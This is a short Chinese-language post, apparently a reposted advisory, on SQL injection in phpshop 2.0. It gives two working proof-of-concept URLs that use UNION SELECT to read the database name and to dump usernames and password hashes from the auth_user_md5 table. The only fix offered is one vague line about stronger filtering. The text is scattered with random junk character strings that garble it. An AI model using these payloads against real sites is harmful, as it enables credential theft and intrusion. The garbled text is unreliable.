phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability

' y- i" W! M6 S作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
测试地址: windows 7 / ubuntu

  C! {$ k7 Q9 ^% u6 G
) h( |; N) W1 c& d' x' wSQLi p0c:

==================
: {, L/ {" i2 p5 K5 o6 n* \
http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
) e. }7 o1 P+ \( W9 F0 zunion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --

% ]$ F' ]% I+ x: p3 yhttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--

( _3 M+ y% K1 a6 Z/ G$ \修复：
加强过滤
, {/ ^" C) k8 O+ N+ u) G  s3 ^​